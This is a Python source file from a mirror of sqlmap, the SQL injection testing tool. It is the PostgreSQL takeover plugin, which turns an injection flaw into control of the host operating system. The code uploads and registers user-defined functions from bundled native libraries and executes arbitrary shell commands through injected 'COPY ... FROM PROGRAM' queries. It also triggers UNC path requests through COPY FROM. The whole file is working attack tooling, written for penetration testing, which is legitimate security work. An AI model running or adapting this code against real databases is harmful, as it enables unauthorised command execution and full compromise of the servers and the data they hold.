mirror of
https://github.com/sqlmapproject/sqlmap.git
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120 lines
4.8 KiB
Python
120 lines
4.8 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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import os
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from lib.core.common import Backend
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from lib.core.common import checkFile
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from lib.core.common import decloakToTemp
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from lib.core.common import flattenValue
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from lib.core.common import isListLike
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from lib.core.common import isStackingAvailable
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from lib.core.common import randomStr
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import paths
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from lib.core.enums import OS
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from lib.core.exception import SqlmapSystemException
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from lib.core.exception import SqlmapUnsupportedFeatureException
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from lib.request import inject
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from plugins.generic.takeover import Takeover as GenericTakeover
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class Takeover(GenericTakeover):
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def udfSetRemotePath(self):
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# On Windows
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if Backend.isOs(OS.WINDOWS):
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# The DLL can be in any folder where postgres user has
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# read/write/execute access is valid
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# NOTE: by not specifing any path, it will save into the
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# data directory, on PostgreSQL 8.3 it is
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# C:\Program Files\PostgreSQL\8.3\data.
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self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
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# On Linux
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else:
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# The SO can be in any folder where postgres user has
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# read/write/execute access is valid
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self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
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def udfSetLocalPaths(self):
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self.udfLocalFile = paths.SQLMAP_UDF_PATH
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self.udfSharedLibName = "libs%s" % randomStr(lowercase=True)
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self.getVersionFromBanner()
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banVer = kb.bannerFp["dbmsVersion"]
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if banVer >= "10":
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majorVer = banVer.split('.')[0]
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elif banVer >= "8.2" and '.' in banVer:
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majorVer = '.'.join(banVer.split('.')[:2])
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else:
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errMsg = "unsupported feature on versions of PostgreSQL before 8.2"
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raise SqlmapUnsupportedFeatureException(errMsg)
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try:
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if Backend.isOs(OS.WINDOWS):
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_ = os.path.join(self.udfLocalFile, "postgresql", "windows", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.dll_")
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checkFile(_)
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self.udfLocalFile = decloakToTemp(_)
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self.udfSharedLibExt = "dll"
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else:
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_ = os.path.join(self.udfLocalFile, "postgresql", "linux", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.so_")
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checkFile(_)
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self.udfLocalFile = decloakToTemp(_)
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self.udfSharedLibExt = "so"
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except SqlmapSystemException:
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errMsg = "unsupported feature on PostgreSQL %s (%s-bit)" % (majorVer, Backend.getArch())
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raise SqlmapUnsupportedFeatureException(errMsg)
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def udfCreateFromSharedLib(self, udf, inpRet):
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if udf in self.udfToCreate:
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logger.info("creating UDF '%s' from the binary UDF file" % udf)
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inp = ", ".join(i for i in inpRet["input"])
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ret = inpRet["return"]
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# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
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inject.goStacked("DROP FUNCTION %s(%s)" % (udf, inp))
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inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
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self.createdUdf.add(udf)
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else:
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logger.debug("keeping existing UDF '%s' as requested" % udf)
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def uncPathRequest(self):
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self.createSupportTbl(self.fileTblName, self.tblField, "text")
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inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True)
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self.cleanup(onlyFileTbl=True)
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def copyExecCmd(self, cmd):
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output = None
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if isStackingAvailable():
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# Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
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self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName
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self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField)
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self._forgedCmd += "COPY %s FROM PROGRAM '%s';" % (self.cmdTblName, cmd.replace("'", "''"))
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inject.goStacked(self._forgedCmd)
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query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName)
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output = inject.getValue(query, resumeValue=False)
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if isListLike(output):
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output = os.linesep.join(flattenValue(output))
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self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName
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inject.goStacked(self._cleanupCmd)
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return output
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def checkCopyExec(self):
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if kb.copyExecTest is None:
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kb.copyExecTest = self.copyExecCmd("echo 1") == '1'
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return kb.copyExecTest
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